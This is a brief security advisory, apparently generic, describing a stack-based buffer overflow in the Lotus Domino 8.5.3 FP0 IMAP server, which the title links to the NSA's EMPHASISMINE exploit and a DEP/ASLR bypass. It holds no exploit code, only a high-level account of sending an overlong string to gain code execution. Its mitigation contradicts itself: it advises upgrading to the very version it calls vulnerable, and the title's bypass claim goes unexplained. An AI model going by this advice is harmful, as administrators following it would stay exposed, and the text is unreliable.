NSA’s EMPHASISMINE for IMAP Server Lotus Domino 8.5.3 FP0 DEP/ASLR bypass

A buffer overflow vulnerability exists in the IMAP Server Lotus Domino 8.5.3 FP0 due to improper bounds checking of user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted request containing an overly long string of data, which can cause a stack-based buffer overflow. This can allow the attacker to execute arbitrary code in the context of the application.

Mitigation:

Upgrade to the latest version of IMAP Server Lotus Domino 8.5.3 FP0.
